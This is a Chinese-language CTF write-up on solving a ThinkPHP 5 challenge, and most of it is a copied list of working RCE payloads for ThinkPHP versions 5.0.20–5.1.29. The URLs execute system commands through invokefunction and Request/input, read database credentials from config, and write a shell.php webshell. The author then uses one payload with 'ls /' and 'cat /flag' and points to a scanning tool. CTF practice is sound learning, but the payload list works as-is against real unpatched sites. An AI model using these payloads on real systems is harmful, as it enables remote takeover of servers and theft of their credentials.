进入环境之后可以看到这里的写着thinkphp5,如果不懂具体的漏洞原理(比如说我这样的)还想要把题目做出来其实不难,只需要找到固定的payload,当然这样只适合很简单的题目,或者没有经过修改的框架。下面是thinkphp5的rce-payload
(payload来自www.cnblogs.com/qiushuo/p/1…)
ThinkPHP V5漏洞Payload
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.
1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
5.0.20
1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
这里有很多的payload,我们随便选择一个,就比如最上面的5.0.22的payload
可以看到database.username为root,我们要得到flag,随便选一个上面的payload,就比如还是5.0.22里面的?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id,把id换成ls /
命令cat /flag就可以了
上面的payload在tp5都可以用(发誓过几天学漏洞原理)这个就是一个简单的tp5的rce利用,很简单的也没有什么绕过等等。
除了手打payload,github上有工具专门验证thinkphp框架的漏洞github.com/zangcc/Aazh…
点击这里的Download ZIP就可以下载当前文件夹的压缩包,解压到目录